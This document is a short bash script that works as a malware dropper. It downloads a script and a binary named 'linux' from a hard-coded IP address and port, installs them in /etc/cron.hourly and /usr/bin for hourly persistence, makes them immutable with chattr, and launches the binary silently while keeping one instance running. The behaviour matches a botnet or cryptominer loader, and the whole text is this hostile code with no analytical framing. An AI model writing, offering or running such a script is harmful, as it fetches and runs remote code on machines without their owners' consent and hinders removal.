#!/bin/bash
if [[ ! -f /etc/cron.hourly/script ]]; then 
	wget http://181.223.9.36:9000/script2 -O /etc/cron.hourly/script > /dev/null 2>&1
	chmod +x /etc/cron.hourly/script
	chattr +i /etc/cron.hourly/script
fi
if [[ ! -f /usr/bin/linux ]]; then
	wget -O /usr/bin/linux http://181.223.9.36:9000/linux > /dev/null 2>&1
	chmod +x /usr/bin/linux
	chattr +i /usr/bin/linux
fi
var=`ps -C linux | grep -v PID | wc -l`
[[ $var -eq 0 ]] && /usr/bin/linux > /dev/null 2>&1 &
[[ $var -gt 1 ]] && killall linux > /dev/null 2>&1 
exit 0
